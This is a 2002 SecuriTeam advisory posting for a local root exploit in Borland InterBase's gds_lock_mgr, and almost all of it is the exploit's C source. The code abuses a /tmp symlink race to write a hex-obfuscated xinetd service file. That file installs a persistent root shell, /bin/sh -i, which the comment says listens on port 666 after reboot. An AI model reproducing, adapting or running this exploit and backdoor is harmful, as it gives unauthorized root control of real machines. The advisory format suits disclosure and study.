[EXPL] Local Root Exploit Found in gds_lock_mgr
From: support@securiteam.comDate: 09/26/02
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From: support@securiteam.com To: list@securiteam.com Date: Thu, 26 Sep 2002 12:07:09 +0200 (CEST)
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Local Root Exploit Found in gds_lock_mgr
------------------------------------------------------------------------
SUMMARY
A local security vulnerability in Borland's InterBase server allows users
to gain elevated privileges.
DETAILS
Exploit:
// gds_lock_mgr easy local root compromise
// All cobalt Linux affected, and certain mandrake installations.
// Wouter ter Maat aka grazer - http://www.i-security.nl
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#define BDPATH "/etc/xinetd.d/xinetdbd"
#define GDSBIN "/opt/interbase/bin/gds_lock_mgr"
int main() {
struct utsname buf;
char path[24], lnc[34];
FILE *fd;
/* check for a rootshell on port 666 after the machine has rebooted.
* exploit written to work on a raq550 using xinetd
*/
char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
"\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
"\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
"\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
"\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
"\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
"\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
"\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
"\x3d\x20\x2d\x69\n\x7d\n";
fprintf(stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");
uname(&buf);
setenv("INTERBASE", "/tmp", 1);
sprintf(path, "%s", "/tmp/isc_init1.");
strcat(path, buf.nodename);
chdir("/tmp");
umask(000);
sprintf(lnc, "ln %s -s %s", BDPATH, path);
system(lnc);
if(fd=fopen(GDSBIN, "r")) {
system(GDSBIN); close(fd); }
else {
fprintf(stderr, "%s not found...\n", GDSBIN);
exit(0); }
if(fd=fopen(BDPATH, "w")) {
fprintf(stderr," exploit succesfull...\n");
fprintf(fd, "%s", hexbd); close(fd);}
else {
fprintf(stderr, "exploit failed...\n");
exit(0); }
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:grazer@digit-labs.org>
grazer.
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